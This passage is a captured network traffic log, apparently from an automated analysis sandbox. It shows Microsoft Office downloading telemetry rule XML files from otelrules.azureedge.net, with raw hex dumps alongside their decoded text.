73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-10 18:44:55 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-10 18:44:55 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-10 18:44:55 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-10 18:44:55 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-10 18:44:55 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-10 18:44:55 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-10 18:44:55 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-10 18:44:55 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-10 18:44:55 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:56 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:56 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: d97abbbc-301e-003f-1d38-33266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184456Z-15869dbbcc6xpvqthC1DFWq7d800000006eg00000000d0an x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:44:56 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:56 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:56 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9f0f5f99-201e-0096-25f1-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184456Z-16547b76f7fkcrm9hC1DFWxdag0000000d0000000000qdum x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:56 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:56 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:56 UTC	517	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:56 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184456Z-16547b76f7fm7xw6hC1DFW5px40000000cwg00000000f91p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:56 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:56 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:56 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 26663d07-401e-0029-2faf-319b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184456Z-16547b76f7f22sh5hC1DFWyb4w0000000d0000000000577h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:56 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:56 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:56 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:56 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: d0ce97ce-d01e-00ad-3136-33e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184456Z-17df447cdb5bz95mhC1DFWnk7w000000097g00000000861g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:44:56 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:57 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:57 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:57 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a2886317-b01e-00ab-6c01-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184457Z-16547b76f7fwvr5dhC1DFW2c940000000cz00000000075en x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:57 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:57 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:57 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:57 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184457Z-16547b76f7fr28cchC1DFWnuws0000000d60000000005r7t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
